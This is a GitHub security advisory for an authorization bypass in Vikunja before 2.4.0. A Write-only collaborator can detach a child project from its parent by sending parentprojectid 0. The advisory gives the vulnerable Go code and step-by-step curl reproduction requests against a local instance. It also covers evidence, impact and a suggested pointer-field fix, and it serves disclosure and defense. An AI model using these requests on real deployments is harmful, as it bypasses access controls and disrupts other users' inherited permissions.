GHSA-44v6-7fxq-vgf4: Medium severity go/code.vikunja.io/api vulnerability
Summary
The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parentprojectid > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parentprojectid: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.
Affected component
- Package: go-vikunja/vikunja - Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0. - Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)
Technical detail
Vulnerable code
File: pkg/models/project.go (lines 1009-1041) go // GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE // cascades Admin from any owned ancestor, so moving a shared child // under an attacker-owned root grants Admin on the child. Require // Admin on both sides of a reparent. // // Only gate on non-zero ParentProjectID: the generic update handler // binds a fresh struct, so an omitted parentprojectid is // indistinguishable from an explicit 0. Detach-to-root is therefore // out of scope here -- a proper fix needs a pointer field. if project.ParentProjectID > 0 { // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0 }
File: pkg/models/projectpermissions.go (line 145) go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { // reparent permission check -- SKIPPED when ParentProjectID == 0 }
File: pkg/models/project.go (line 1065) go colsToUpdate := []string{ "title", "isarchived", "identifier", "hexcolor", "parentprojectid", // <-- ALWAYS included, writes 0 to DB "position", }
Why it's exploitable
1. The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0). 2. When JSON body contains "parentprojectid": 0, the struct has ParentProjectID == 0. 3. CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write). 4. UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely. 5. xorm writes parentprojectid = 0 because "parentprojectid" is always in colsToUpdate with Cols(). 6. The project is detached from its parent hierarchy.
Precondition checklist
- [x] Attacker has authenticated account - [x] Attacker has Write permission on a child project (via direct share or team membership) - [x] The target project has a non-zero parentprojectid (it's a child of another project) - [x] Default Vikunja configuration (no special setup needed)
Reproduction
Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.
1. Authenticate as attacker: bash TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \ -H 'Content-Type: application/json' \ -d '{"username":"usera","password":"UserAPassword1!"}' | jq -r '.token')
2. Verify attacker does NOT have Admin (delete should return 403): bash curl -s -o /dev/null -w '%{httpcode}' -X DELETE http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" Expected: 403
3. Exploit -- detach project from parent: bash curl -s -X POST http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"title":"Sensitive Child Project","parentprojectid":0}'
4. Verify detachment: bash curl -s http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" | jq '.parentprojectid' Returns: 0 (was: 3)
Evidence (3 independent runs)
| Run | parentprojectid BEFORE | DELETE attempt (proves no Admin) | parentprojectid AFTER | Result | |-----|--------------------------|----------------------------------|-------------------------|--------| | 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
Note: "null (detached to root)" means parentprojectid was set to 0 in the database, making the project a root-level project with no parent.
Impact
- Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents). - Permission inheritance disruption: The recursive CTE permission model traverses parentprojectid upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project. - Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.
Suggested fix
Use a pointer field int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."
Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.
Affected Software
Event History
Frequently Asked Questions
Who can exploit this issue?
A user with Write permission, but not Admin permission, on a shared child project can exploit it. The issue applies when that project has a parent and the user can submit a reparent request with parent_project_id set to 0.
Which deployments are affected?
Vikunja versions 2.3.0 and later are affected, including the tested unstable build v2.3.0-246-9852aff4. Version 2.4.0 fixes the issue.
What is the impact of a successful exploit?
The attacker can detach the shared child project from its parent, severing the recursive permission inheritance chain. This can disrupt the intended project hierarchy and affect inherited access for other collaborators.